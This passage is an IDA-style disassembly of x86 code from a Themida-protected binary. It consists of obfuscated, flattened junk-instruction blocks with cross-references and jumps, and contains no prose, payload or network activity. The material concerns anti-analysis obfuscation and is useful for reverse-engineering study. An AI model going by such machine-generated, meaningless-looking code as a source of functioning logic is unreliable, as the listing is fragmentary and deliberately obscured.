[esp], esi mov esi, esp sub esp, 4 mov [esp], edi jmp loc_55361F ; --------------------------------------------------------------------------- loc_559A74: ; CODE XREF: Themida_:00558802j xor ebp, [esp] mov esp, [esp] mov [esp], ebx mov bl, 0CFh sub bl, 5Eh push edx mov dh, 94h sub bl, 52h sub bl, dh add bl, 52h jmp loc_55771D ; --------------------------------------------------------------------------- loc_559A92: ; CODE XREF: Themida_:0055EE3Cj mov cl, 68h add cl, 8Ah shr cl, 1 shl cl, 6 add cl, 45h mov ah, cl pop ecx xor ah, 71h neg ah push bx jmp loc_55381F ; --------------------------------------------------------------------------- loc_559AAE: ; CODE XREF: Themida_:00556E1Dj pop esi xor eax, ecx push dword ptr [esp] pop ecx add esp, 4 push edi push 6A8Dh jmp loc_558ADE ; --------------------------------------------------------------------------- loc_559AC6: ; CODE XREF: Themida_:0055B8FAj not cl and cl, 0FCh or cl, 45h add cl, 33h add bl, cl pop ecx add bl, al sub bl, 8 push eax push ecx push esp push dword ptr [esp] pop ecx add esp, 4 add ecx, 4 sub ecx, 2 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], bx sub esp, 4 jmp loc_56091D ; --------------------------------------------------------------------------- loc_559B05: ; CODE XREF: Themida_:0055F168j pop ecx not ebx sub esp, 4 mov [esp], edx push edi sub esp, 4 mov [esp], esi mov esi, 721402ABh jmp loc_55E201 ; --------------------------------------------------------------------------- loc_559B22: ; CODE XREF: Themida_:0055DCBBj add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55585C ; --------------------------------------------------------------------------- loc_559B31: ; CODE XREF: Themida_:005555DDj pop eax xchg dl, bh push bx mov bl, dl not bl mov dl, bl pop bx push cx mov ch, dl push ecx mov ch, bh push ebx mov bh, ch mov dl, bh pop ebx mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_550EB9 ; --------------------------------------------------------------------------- loc_559B66: ; CODE XREF: Themida_:0055207Ej not edx jmp loc_554FE1 ; --------------------------------------------------------------------------- loc_559B6D: ; CODE XREF: Themida_:00562B29j push edx push edi push 977409h pop edi not edi xor edi, 2EDB3B03h jmp loc_558DAE ; --------------------------------------------------------------------------- loc_559B82: ; CODE XREF: Themida_:0055D5ABj mov [esp], esi mov esi, 4EE27E66h add esi, 0FFFFFFFFh xchg ebx, esi not ebx xchg ebx, esi push ecx mov ecx, 0B11D819Eh jmp loc_55F937 ; --------------------------------------------------------------------------- loc_559BA1: ; CODE XREF: Themida_:00561010j mov ebp, esp add ebp, 4 jmp loc_560831 ; --------------------------------------------------------------------------- loc_559BAE: ; CODE XREF: Themida_:00559E9Bj add ecx, ebx add ecx, 42A258F4h push eax mov eax, 0F3F5301h sub ecx, eax pop eax jmp loc_5578DE ; --------------------------------------------------------------------------- loc_559BC4: ; CODE XREF: Themida_:0055592Bj add edx, 4 add edx, 4 xchg edx, [esp] pop esp push eax jmp loc_555D68 ; --------------------------------------------------------------------------- loc_559BDA: ; CODE XREF: Themida_:00551CB5j mov [esp], eax mov ah, 0EBh or ah, 0FAh neg ah and ah, 8Bh push edx mov dl, 0F3h sub esp, 2 mov [esp], cx jmp loc_55A3F2 ; --------------------------------------------------------------------------- loc_559BF9: ; CODE XREF: Themida_:0055C108j push ebp mov ebp, 39A14D50h xor ebp, 6252304Dh push eax mov eax, 0C5C09D76h jmp loc_55DDE5 ; --------------------------------------------------------------------------- loc_559C10: ; CODE XREF: Themida_:00563C29j sub esi, 4 xchg esi, [esp] jmp loc_55C3A2 ; --------------------------------------------------------------------------- loc_559C1E: ; CODE XREF: Themida_:00551134j mov ebx, 6AB82E38h jmp loc_55A219 ; --------------------------------------------------------------------------- loc_559C28: ; CODE XREF: Themida_:00554FBFj push ebp sub esp, 4 jmp loc_5593C4 ; --------------------------------------------------------------------------- loc_559C31: ; CODE XREF: Themida_:005602A7j shr bl, 3 neg bl neg bl jmp loc_55D363 ; --------------------------------------------------------------------------- loc_559C3D: ; CODE XREF: Themida_:0055BCD8j xor ebx, 74AD6D1Ch add edi, 7855195Fh sub edi, ebx sub edi, 7855195Fh mov ebx, [esp] add esp, 4 add eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_563FDC ; --------------------------------------------------------------------------- loc_559C6A: ; CODE XREF: Themida_:00562C25j add ebx, 28FF46ACh push edi mov edi, 452848A4h add ebx, edi pop edi jmp loc_5599FD ; --------------------------------------------------------------------------- loc_559C7E: ; CODE XREF: Themida_:00554057j add edi, 4 jmp loc_560CF8 ; --------------------------------------------------------------------------- loc_559C89: ; CODE XREF: Themida_:00556B95j push ecx mov ecx, 50413CE2h mov eax, 32C0088Bh xor eax, ecx pop ecx sub eax, 2B920664h sub eax, edx add eax, 2B920664h mov edx, [esp] add esp, 4 shl eax, cl sub esp, 4 mov [esp], ebp push ecx mov ecx, 0FFFFFFFFh mov ebp, ecx pop ecx push edx mov edx, 6C8A2CD0h sub edx, 6C54D430h sub eax, edx pop edx add eax, 2A504280h add eax, 306806ADh add eax, ebp sub eax, 306806ADh sub eax, 2A504280h push 7A1Dh mov [esp], edx push 3558A0h jmp loc_556A98 ; --------------------------------------------------------------------------- loc_559CF4: ; CODE XREF: Themida_:00562C88j mov eax, 4 mov ebx, eax mov eax, [esp] jmp loc_550985 ; --------------------------------------------------------------------------- loc_559D03: ; CODE XREF: Themida_:0055A3D7j sub ecx, ebx pop ebx jmp loc_559310 ; --------------------------------------------------------------------------- loc_559D0B: ; CODE XREF: Themida_:00559D42j xor eax, [esp] mov esp, [esp] jmp loc_561DE1 ; --------------------------------------------------------------------------- loc_559D16: ; CODE XREF: Themida_:0055EB6Ej sub [esp], ch jmp loc_559E84 ; --------------------------------------------------------------------------- loc_559D1E: ; CODE XREF: Themida_:005592A5j pop esi sub ax, bx add ax, 32BDh mov bx, [esp] push 6FCEh mov [esp], esi mov esi, esp add esi, 4 jmp loc_561B64 ; --------------------------------------------------------------------------- loc_559D3F: ; CODE XREF: Themida_:00550841j xor [esp], eax jmp loc_559D0B ; --------------------------------------------------------------------------- loc_559D47: ; CODE XREF: Themida_:00553A26j mov bl, 0D3h push 12F9h mov [esp], eax mov ah, 0F3h add bl, ah pop eax sub esp, 2 jmp loc_55E0B0 ; --------------------------------------------------------------------------- loc_559D61: ; CODE XREF: Themida_:00553D86j push edi jmp loc_550966 ; --------------------------------------------------------------------------- loc_559D67: ; CODE XREF: Themida_:005636D6j push 0FFFFFBFFh mov edx, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_5537B3 ; --------------------------------------------------------------------------- loc_559D82: ; CODE XREF: Themida_:00560825j sub edi, 67EA5030h push ebp mov ebp, 32A10ED5h xor edi, ebp pop ebp add edi, 932D4437h jmp loc_55B034 ; --------------------------------------------------------------------------- loc_559D9C: ; CODE XREF: Themida_:005574BEj pop esi xchg edx, [esp] jmp loc_552823 ; --------------------------------------------------------------------------- loc_559DA5: ; CODE XREF: Themida_:005579A6j add edx, 2 jmp loc_554646 ; --------------------------------------------------------------------------- loc_559DB0: ; CODE XREF: Themida_:00562471j push 1C99h mov [esp], ebx mov bh, 0D0h dec bh jmp loc_55A95B ; --------------------------------------------------------------------------- loc_559DC1: ; CODE XREF: Themida_:0055795Ej pop eax jmp loc_55972B ; --------------------------------------------------------------------------- loc_559DC7: ; CODE XREF: Themida_:0055661Aj shr ecx, 2 jmp loc_553294 ; --------------------------------------------------------------------------- loc_559DCF: ; CODE XREF: Themida_:0055F7B3j mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5598D0 ; --------------------------------------------------------------------------- loc_559DE2: ; CODE XREF: Themida_:0055DC17j mov edi, 62594773h add dword ptr [esp+4], 2DF81F6Ch sub [esp+4], edi push edi jmp loc_55CF80 ; --------------------------------------------------------------------------- loc_559DF9: ; CODE XREF: Themida_:005632C9j pop ebp jmp loc_5556DE ; --------------------------------------------------------------------------- loc_559DFF: ; CODE XREF: Themida_:0055A136j and ebp, 1617054Ah push esi mov esi, 3E1F302Dh xor ebp, esi mov esi, [esp] add esp, 4 add esi, 0F7A343Bh sub esi, 56625B3h jmp loc_552DBC ; --------------------------------------------------------------------------- loc_559E24: ; CODE XREF: Themida_:00559195j add esp, 4 sub esp, 4 mov [esp], edx jmp loc_552F5D ; --------------------------------------------------------------------------- loc_559E38: ; CODE XREF: Themida_:0055645Aj pop edi add edi, 4 jmp loc_55EA92 ; --------------------------------------------------------------------------- loc_559E44: ; CODE XREF: Themida_:0055791Fj mov edi, esp add edi, 4 sub edi, 4 jmp loc_55158A ; --------------------------------------------------------------------------- loc_559E54: ; CODE XREF: Themida_:0055328Fj add ebp, 61A42FD0h jmp loc_5543EF ; --------------------------------------------------------------------------- loc_559E5F: ; CODE XREF: Themida_:00562710j add eax, ecx sub eax, 5FD17DF4h jmp loc_5557CA ; --------------------------------------------------------------------------- loc_559E6B: ; CODE XREF: Themida_:00563C90j xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push ebx jmp loc_554CF0 ; --------------------------------------------------------------------------- loc_559E7D: ; CODE XREF: Themida_:00552E23j pop ecx inc ecx jmp loc_554999 ; --------------------------------------------------------------------------- loc_559E84: ; CODE XREF: Themida_:00559D19j sub byte ptr [esp], 7 jmp loc_5561ED ; --------------------------------------------------------------------------- loc_559E8D: ; CODE XREF: Themida_:00564D55j mov edi, eax pop eax sub ecx, edi mov edi, [esp] add esp, 4 jmp loc_559BAE ; --------------------------------------------------------------------------- loc_559EA0: ; CODE XREF: Themida_:0055DC6Fj xor edx, 1ED2CCEBh sub eax, 65562DCEh sub eax, 2105521Fh add eax, edx push ecx mov ecx, 2105521Fh add eax, ecx pop ecx jmp loc_5575F5 ; --------------------------------------------------------------------------- loc_559EC0: ; CODE XREF: Themida_:00550ED0j add esp, 4 inc eax jmp loc_5553E8 ; --------------------------------------------------------------------------- loc_559EC9: ; CODE XREF: Themida_:00553B26j xchg edx, [esp] mov esp, [esp] mov [esp], di push small word ptr [esp+2] pop di pop small word ptr [esp] not di push edi mov edi, esp push eax mov eax, 4 sub edi, 759128F9h jmp loc_5572AA ; --------------------------------------------------------------------------- loc_559EF5: ; CODE XREF: Themida_:00556A21j sub al, 7Bh add al, ch jmp loc_55D58C ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push 5AE8h mov [esp], eax jmp loc_552380 ; --------------------------------------------------------------------------- loc_559F0F: ; CODE XREF: Themida_:005622CCj pop ebp push esi mov esi, 5C0D22B3h xor ebp, esi pop esi mov ecx, ebp pop ebp xor ecx, edi jmp loc_558C98 ; --------------------------------------------------------------------------- loc_559F23: ; CODE XREF: Themida_:0055CFEEj sub ecx, 20755484h add ecx, ebp add ecx, 20755484h mov ebp, [esp] add esp, 4 push edi sub esp, 4 mov [esp], esi push edi mov edi, 33512254h xor edi, 31A801E2h mov esi, edi pop edi sub esi, 0FFFFFFFFh jmp loc_55A950 ; --------------------------------------------------------------------------- loc_559F55: ; CODE XREF: Themida_:0055716Aj push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp add eax, 2 xchg eax, [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_559F72: ; CODE XREF: Themida_:0055D10Dj mov edi, [esp] add esp, 4 add ebp, 70342BA2h add ebp, ecx sub ebp, 70342BA2h push dword ptr [esp] pop ecx add esp, 4 push esi jmp loc_5623DD ; --------------------------------------------------------------------------- loc_559F96: ; CODE XREF: Themida_:0055D32Cj xor eax, 22A57A03h mov esi, eax mov eax, [esp] add esp, 4 or esi, 68AF11EAh and esi, 1874479Eh jmp loc_556B51 ; --------------------------------------------------------------------------- loc_559FB4: ; CODE XREF: Themida_:0055BCE6j push ebx push 3F406E85h jmp loc_5621F5 ; --------------------------------------------------------------------------- loc_559FBF: ; CODE XREF: Themida_:00557593j shl ebp, 6 or ebp, 9CD41A1h sub ebp, 2A2D6839h xor ebp, 2A1D4AFAh jmp loc_55925D ; --------------------------------------------------------------------------- loc_559FD9: ; CODE XREF: Themida_:005645C7j add eax, edi pop edi sub eax, 1A3A6487h sub eax, edx jmp loc_555C80 ; --------------------------------------------------------------------------- loc_559FE8: ; CODE XREF: Themida_:00553A5Dj mov [esp], ebp mov ebp, 1E7A41CBh jmp loc_5649B2 ; --------------------------------------------------------------------------- loc_559FF5: ; CODE XREF: Themida_:0055E78Dj push 5A36h jmp loc_551BFE ; --------------------------------------------------------------------------- loc_559FFF: ; CODE XREF: Themida_:005546F5j mov ebx, 64783F31h sub [esp+4], ebx pop ebx pop eax add eax, 64783F31h pop esi sub ebx, 37E3707Ah add ebx, eax add ebx, 37E3707Ah jmp loc_557734 ; --------------------------------------------------------------------------- loc_55A023: ; CODE XREF: Themida_:005514A4j add ebx, ecx sub ebx, 27807E9Dh sub ebx, 163B5452h mov ecx, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_55E789 ; --------------------------------------------------------------------------- loc_55A045: ; CODE XREF: Themida_:005532A8j mov ebp, 64BEA893h jmp loc_55EA85 ; --------------------------------------------------------------------------- loc_55A04F: ; CODE XREF: Themida_:005517BEj mov esi, [esp] add esp, 4 jmp loc_560592 ; --------------------------------------------------------------------------- loc_55A05D: ; CODE XREF: Themida_:00557F70j not esi dec esi and esi, 4BD01F81h add esi, 0A211CCh xor esi, 52F88340h jmp loc_562413 ; --------------------------------------------------------------------------- mov cx, [esp] push 3A52h mov [esp], ebp push esp push dword ptr [esp] jmp loc_563990 ; --------------------------------------------------------------------------- loc_55A08C: ; CODE XREF: Themida_:0055A4B0j add edx, 4 jmp loc_55B783 ; --------------------------------------------------------------------------- loc_55A097: ; CODE XREF: Themida_:00561A9Bj mov ebx, [esp] push ebp mov ebp, esp push ecx jmp loc_560449 ; --------------------------------------------------------------------------- loc_55A0A3: ; CODE XREF: Themida_:00552E08j add ecx, 4 xchg ecx, [esp] pop esp push ebp jmp loc_561CAD ; --------------------------------------------------------------------------- loc_55A0B3: ; CODE XREF: Themida_:00553DB4j shr ebx, 4 push ebp mov ebp, 5FA850FFh inc ebp sub ebp, 3AE73CD3h xor ebp, 7923140Eh sub ebp, 5291E923h xor ebx, ebp pop ebp jmp loc_564FA7 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], eax push 3FEAh mov [esp], esp add dword ptr [esp], 4 pop eax jmp loc_563E4E ; --------------------------------------------------------------------------- loc_55A0F9: ; CODE XREF: Themida_:00560955j push ecx mov ecx, esp jmp loc_55E11C ; --------------------------------------------------------------------------- loc_55A101: ; CODE XREF: Themida_:00563B1Fj add edi, esi pop esi xchg edi, [esp] pop esp add dh, 0FFh push ecx mov ch, 13h and ch, 7Ah push eax mov ah, 0FCh sub ch, ah pop eax jmp loc_55E82B ; --------------------------------------------------------------------------- loc_55A11C: ; CODE XREF: Themida_:005633CFj mov [esp], edi mov edi, 6C96D67h jmp loc_56360E ; --------------------------------------------------------------------------- loc_55A129: ; CODE XREF: Themida_:0055B191j add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_559DFF ; --------------------------------------------------------------------------- loc_55A13B: ; CODE XREF: Themida_:00564C95j pop edi xchg eax, [esp] pop esp btr [esp], ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55A14B: ; CODE XREF: Themida_:0056068Fj not edx add edx, 88C76884h not edx sub edx, 63CAB57Dh mov ecx, edx pop edx push edi mov edi, 5F4516B5h add edi, 4A002680h jmp loc_564ACF ; --------------------------------------------------------------------------- loc_55A16F: ; CODE XREF: Themida_:005581E5j add edi, 4 jmp loc_552E95 ; --------------------------------------------------------------------------- loc_55A17A: ; CODE XREF: Themida_:00555B5Ej mov edi, [esp] push edx mov edx, esp jmp loc_55C1D6 ; --------------------------------------------------------------------------- loc_55A185: ; CODE XREF: Themida_:00563983j xor ecx, esi pop esi push ecx sub dword ptr [esp], 2A5D4E5Dh pop ebp add ebp, 2A5D4E5Dh jmp loc_565412 ; --------------------------------------------------------------------------- loc_55A19C: ; CODE XREF: Themida_:005528A2j mov eax, [esp] push esi mov esi, esp jmp loc_5530FE ; --------------------------------------------------------------------------- loc_55A1A7: ; CODE XREF: Themida_:0055978Ej mov ebx, 0A1AD982h sub esi, ebx pop ebx sub ebx, esi pop esi push dword ptr [esp] pop ebp add esp, 4 or edi, ebx pop ebx and edi, 408C1A97h sub edi, 0FFFFFFFFh jmp loc_55E43D ; --------------------------------------------------------------------------- loc_55A1CA: ; CODE XREF: Themida_:005533FEj mov esi, 7F241594h sub esi, 49190469h jmp loc_551167 ; --------------------------------------------------------------------------- loc_55A1DA: ; CODE XREF: Themida_:0055FF5Fj sub ebp, 74E13A9Dh jmp loc_55C37E ; --------------------------------------------------------------------------- loc_55A1E5: ; CODE XREF: Themida_:00556691j mov [esp], esi jmp loc_558466 ; --------------------------------------------------------------------------- loc_55A1ED: ; CODE XREF: Themida_:0055DF8Ej pop esi sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], esi sub esp, 4 jmp loc_550BF6 ; --------------------------------------------------------------------------- loc_55A206: ; CODE XREF: Themida_:00558F83j sub ebp, 59406CE2h add ebp, 0DE053E8h sub edx, ebp jmp loc_55C7F9 ; --------------------------------------------------------------------------- loc_55A219: ; CODE XREF: Themida_:00559C23j and ebx, 25BE14F3h neg ebx or ebx, 22175BD6h xor ebx, 0C2E1ABDFh sub eax, ebx pop ebx sub eax, edx add eax, 3DB65009h jmp loc_55CD65 ; --------------------------------------------------------------------------- loc_55A23C: ; CODE XREF: Themida_:00556FDEj xchg ebp, [esp] pop esp jmp loc_556E3D ; --------------------------------------------------------------------------- loc_55A245: ; CODE XREF: Themida_:005569DDj mov [esp], edx push ecx push edi mov edi, 7CCC21D8h sub [esp+4], edi pop edi mov edx, [esp] push eax jmp loc_561B36 ; --------------------------------------------------------------------------- loc_55A25D: ; CODE XREF: Themida_:0056092Aj pop edx mov al, bl mov bx, [esp] push edx push esp pop edx add edx, 4 add edx, 2 xchg edx, [esp] pop esp xor al, bl xor bl, al jmp loc_55FA5B ; --------------------------------------------------------------------------- loc_55A27D: ; CODE XREF: Themida_:00563475j add ebp, eax mov eax, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] pop esp push esi mov esi, esp jmp loc_56109E ; --------------------------------------------------------------------------- loc_55A297: ; CODE XREF: Themida_:0055B7E0j mov esp, [esp] jmp loc_551D4D ; --------------------------------------------------------------------------- loc_55A29F: ; CODE XREF: Themida_:00563B07j sub edi, ecx pop ecx sub ebx, edi pop edi jmp loc_555F8A ; --------------------------------------------------------------------------- loc_55A2AA: ; CODE XREF: Themida_:0055E348j pop edx and edx, 51326743h push eax push 413E6503h pop eax add edx, eax push dword ptr [esp] pop eax add esp, 4 add edx, 0B3C236Dh xor edx, 8C8C8E73h sub eax, edx pop edx inc eax neg eax shl eax, 6 sub eax, 69F1C13Ch add edx, eax pop eax xchg edx, [esp] pop esp push 7885h mov [esp], edx push esi mov esi, 68DD0E76h mov edx, 0E8108E64h sub edx, esi pop esi shr edx, 4 shl edx, 4 dec edx push edi jmp loc_550663 ; --------------------------------------------------------------------------- loc_55A305: ; CODE XREF: Themida_:0055284Cj xor [esp], esi xor esi, [esp] mov esp, [esp] shr word ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55A318: ; CODE XREF: Themida_:00565432j add eax, ebp push edx jmp loc_55F705 ; --------------------------------------------------------------------------- loc_55A320: ; CODE XREF: Themida_:0055C7E2j xchg ebx, [esp] pop esp jmp loc_550420 ; --------------------------------------------------------------------------- loc_55A329: ; CODE XREF: Themida_:0055B36Dj push esi push 775530F5h jmp loc_561B16 ; --------------------------------------------------------------------------- loc_55A334: ; CODE XREF: Themida_:00556727j sub ecx, 0FFFFFFFFh add ecx, 0FFFFFFFFh push edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx jmp loc_564800 ; --------------------------------------------------------------------------- loc_55A355: ; CODE XREF: Themida_:00553758j and ecx, 53CC2BD4h or ecx, 75D098Ch or ecx, 5BF5238Fh xor ecx, 54B20FB9h push ebp jmp loc_56407B ; --------------------------------------------------------------------------- loc_55A373: ; CODE XREF: Themida_:00560F16j add edx, 4 add edx, 4 jmp loc_55A67A ; --------------------------------------------------------------------------- loc_55A384: ; CODE XREF: Themida_:00564349j add esi, 80F615h add ecx, esi pop esi sub ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_55AF24 ; --------------------------------------------------------------------------- loc_55A39E: ; CODE XREF: Themida_:0055D02Cj pop ebp xor ebx, 0D4C54798h mov edx, ebx jmp loc_551F02 ; --------------------------------------------------------------------------- loc_55A3AC: ; CODE XREF: Themida_:00559566j mov eax, [esp] push edi mov edi, esp push esi mov esi, 4 add edi, esi pop esi add edi, 4 jmp loc_564C4E ; --------------------------------------------------------------------------- loc_55A3C3: ; CODE XREF: Themida_:005526E7j mov ebp, esp jmp loc_55DBB8 ; --------------------------------------------------------------------------- loc_55A3CA: ; CODE XREF: Themida_:00553459j push dword ptr [esp] jmp loc_5586CF ; --------------------------------------------------------------------------- loc_55A3D2: ; CODE XREF: Themida_:0056488Ej mov ebx, 95CA457Bh jmp loc_559D03 ; --------------------------------------------------------------------------- loc_55A3DC: ; CODE XREF: Themida_:00558E02j sub eax, edx pop edx xor eax, 52849D6h sub edi, eax pop eax sub edi, 0DB29A046h jmp loc_55A949 ; --------------------------------------------------------------------------- loc_55A3F2: ; CODE XREF: Themida_:00559BF4j mov ch, 1 add dl, ch pop cx jmp loc_5644E1 ; --------------------------------------------------------------------------- loc_55A3FD: ; CODE XREF: Themida_:00553DA1j push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_55B138 ; --------------------------------------------------------------------------- loc_55A411: ; CODE XREF: Themida_:00551E86j push esp jmp loc_55B5ED ; --------------------------------------------------------------------------- loc_55A417: ; CODE XREF: Themida_:00558078j push 7AE2h mov [esp], edx push ecx push eax mov ah, bh mov cl, ah pop eax mov dl, cl jmp loc_561771 ; --------------------------------------------------------------------------- loc_55A42D: ; CODE XREF: Themida_:005653A3j mov ebx, esi mov esi, [esp] add esp, 4 push eax jmp loc_557488 ; --------------------------------------------------------------------------- loc_55A43B: ; CODE XREF: Themida_:00562A4Ej pop esp push 60ABh jmp loc_55D920 ; --------------------------------------------------------------------------- loc_55A446: ; CODE XREF: Themida_:00561170j pop edi jmp loc_563A11 ; --------------------------------------------------------------------------- loc_55A44C: ; CODE XREF: Themida_:005579BEj mov dx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 2 xchg ebx, [esp] pop esp push small 7858h mov [esp], cx push edx mov dh, 1Dh mov ch, 35h sub ch, dh pop edx jmp loc_56122C ; --------------------------------------------------------------------------- loc_55A478: ; CODE XREF: Themida_:005614DBj xor edx, [esp] pop esp push ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 sub ebx, 4 jmp loc_55C9B0 ; --------------------------------------------------------------------------- loc_55A495: ; CODE XREF: Themida_:0055901Ej pop eax dec eax jmp loc_5573A0 ; --------------------------------------------------------------------------- loc_55A49C: ; CODE XREF: Themida_:005631A5j xor ah, 8Fh jmp loc_563402 ; --------------------------------------------------------------------------- loc_55A4A4: ; CODE XREF: Themida_:005569E5j xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_55A08C ; --------------------------------------------------------------------------- loc_55A4B5: ; CODE XREF: Themida_:00551B44j sub dh, 7Bh jmp loc_558043 ; --------------------------------------------------------------------------- loc_55A4BD: ; CODE XREF: Themida_:00565BB8j mov esi, esp push ebp mov ebp, 4 add esi, ebp jmp loc_552E4F ; --------------------------------------------------------------------------- loc_55A4CC: ; CODE XREF: Themida_:00558B5Fj add esp, 4 xor esi, 7AEE9512h jmp loc_55B9A6 ; --------------------------------------------------------------------------- loc_55A4DA: ; CODE XREF: Themida_:005568F3j sub al, 0Fh jmp loc_556A1F ; --------------------------------------------------------------------------- loc_55A4E1: ; CODE XREF: Themida_:00553638j mov esp, [esp] shr eax, 0Eh xor eax, ecx push 6FAh jmp loc_563835 ; --------------------------------------------------------------------------- loc_55A4F3: ; CODE XREF: Themida_:005567A8j xchg edx, esi xchg ebx, edx push ebx not dword ptr [esp] pop ebx xchg ebx, edx xchg edx, esi not esi sub esi, 38881D98h add ebx, esi jmp loc_5626CA ; --------------------------------------------------------------------------- loc_55A50F: ; CODE XREF: Themida_:0055EBD8j sub ebx, ecx pop ecx and ebx, 7BB35667h push ecx mov ecx, 0F2EEDDF5h sub ebx, ecx jmp loc_55675F ; --------------------------------------------------------------------------- loc_55A525: ; CODE XREF: Themida_:0055589Ej add eax, ebx pop ebx jmp loc_55E772 ; --------------------------------------------------------------------------- loc_55A52D: ; CODE XREF: Themida_:0055188Dj mov eax, [esp] push ebx mov ebx, esp jmp loc_55102B ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_550420 ; --------------------------------------------------------------------------- loc_55A540: ; CODE XREF: Themida_:0055CF8Aj pop edi add dword ptr [esp], 7CBE1E62h jmp loc_553803 ; --------------------------------------------------------------------------- loc_55A54D: ; CODE XREF: Themida_:0055AF6Ej mov [esp], edx jmp loc_553495 ; --------------------------------------------------------------------------- loc_55A555: ; CODE XREF: Themida_:00560F81j sub esi, 58BB15ACh jmp loc_5596A4 ; --------------------------------------------------------------------------- loc_55A560: ; CODE XREF: Themida_:0055E71Aj add ch, 6Dh jmp loc_563307 ; --------------------------------------------------------------------------- loc_55A568: ; CODE XREF: Themida_:0055892Cj xor edx, 2C6A3863h xor edx, 64890A8Bh xor edx, 77437B40h and ebx, edx pop edx sub ebx, 12A16AE0h xor ebx, 9DA7D1ECh and esi, ebx mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_55CC76 ; --------------------------------------------------------------------------- loc_55A5A8: ; CODE XREF: Themida_:00563661j and dh, 0E6h add dh, 98h mov ch, dh jmp loc_5614A8 ; --------------------------------------------------------------------------- loc_55A5B5: ; CODE XREF: Themida_:0055F9F7j shl eax, 1 push edi push ecx mov ecx, 257C7279h neg ecx inc ecx xor ecx, 0B68FF635h mov edi, ecx pop ecx or eax, edi mov edi, [esp] add esp, 4 and eax, 41483583h dec eax add eax, 0BEF7CA82h sub ebx, 68A03A04h jmp loc_55F2E7 ; --------------------------------------------------------------------------- loc_55A5E8: ; CODE XREF: Themida_:00564979j push esi push ecx jmp loc_552EA7 ; --------------------------------------------------------------------------- loc_55A5EF: ; CODE XREF: Themida_:00556103j sub eax, edx jmp loc_554327 ; --------------------------------------------------------------------------- loc_55A5F6: ; CODE XREF: Themida_:0055A956j xchg ebp, [esp] mov esi, [esp] add esp, 4 shr esi, 8 push esi jmp loc_55CD81 ; --------------------------------------------------------------------------- loc_55A608: ; CODE XREF: Themida_:00558E57j sub edx, 5EBF2FFAh add ecx, edx pop edx push ebp jmp loc_5542BF ; --------------------------------------------------------------------------- loc_55A617: ; CODE XREF: Themida_:00556BB1j mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] push 58F8h mov [esp], edx mov edx, 533855F8h xor eax, edx pop edx jmp loc_550420 ; --------------------------------------------------------------------------- loc_55A64D: ; CODE XREF: Themida_:0055C488j push dword ptr [esp] pop eax push eax mov eax, esp add eax, 4 push ebx jmp loc_5623CA ; --------------------------------------------------------------------------- loc_55A65F: ; CODE XREF: Themida_:00565178j mov ecx, 3AAB60BFh xor ebx, ecx jmp loc_55D489 ; --------------------------------------------------------------------------- loc_55A66B: ; CODE XREF: Themida_:00565349j mov edi, [esp] push eax jmp loc_561A75 ; --------------------------------------------------------------------------- loc_55A674: ; CODE XREF: Themida_:005542BAj pop eax jmp loc_55B778 ; --------------------------------------------------------------------------- loc_55A67A: ; CODE XREF: Themida_:0055A37Fj xchg edx, [esp] pop esp jmp loc_563327 ; --------------------------------------------------------------------------- loc_55A683: ; CODE XREF: Themida_:00558EE0j push ecx push small 6103h mov [esp], bx jmp loc_55DECC ; --------------------------------------------------------------------------- loc_55A691: ; CODE XREF: Themida_:0055FEB8j add esp, 4 mov ebp, esi jmp loc_562D1B ; --------------------------------------------------------------------------- loc_55A69E: ; CODE XREF: Themida_:0055B25Aj pop edx add ebx, 54573F60h add ebx, edx sub ebx, 54573F60h add ebx, 510E5D6Dh jmp loc_55164C ; --------------------------------------------------------------------------- loc_55A6B8: ; CODE XREF: Themida_:00560B7Ej pop eax pop ecx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop eax push 20DBh mov [esp], ecx push esp pop ecx push ebx mov ebx, 4 add ecx, ebx pop ebx sub ecx, 4 jmp loc_5614E0 ; --------------------------------------------------------------------------- loc_55A6E8: ; CODE XREF: Themida_:005643E9j mov dh, 9Fh add bl, dh jmp loc_55958D ; --------------------------------------------------------------------------- loc_55A6F1: ; CODE XREF: Themida_:00562B2Fj sub esp, 4 mov [esp], eax mov eax, 1CA1577Ah add edi, eax pop eax jmp loc_55ECF1 ; --------------------------------------------------------------------------- loc_55A707: ; CODE XREF: Themida_:00565A82j not esi jmp loc_551979 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push 7694h mov [esp], edi push 5918h mov [esp], esp add dword ptr [esp], 4 pop edi push ebp mov ebp, 4FD13E03h jmp loc_562720 ; --------------------------------------------------------------------------- loc_55A732: ; CODE XREF: Themida_:005574FAj add eax, 4 add eax, 2 push eax push dword ptr [esp+4] jmp loc_553C05 ; --------------------------------------------------------------------------- loc_55A746: 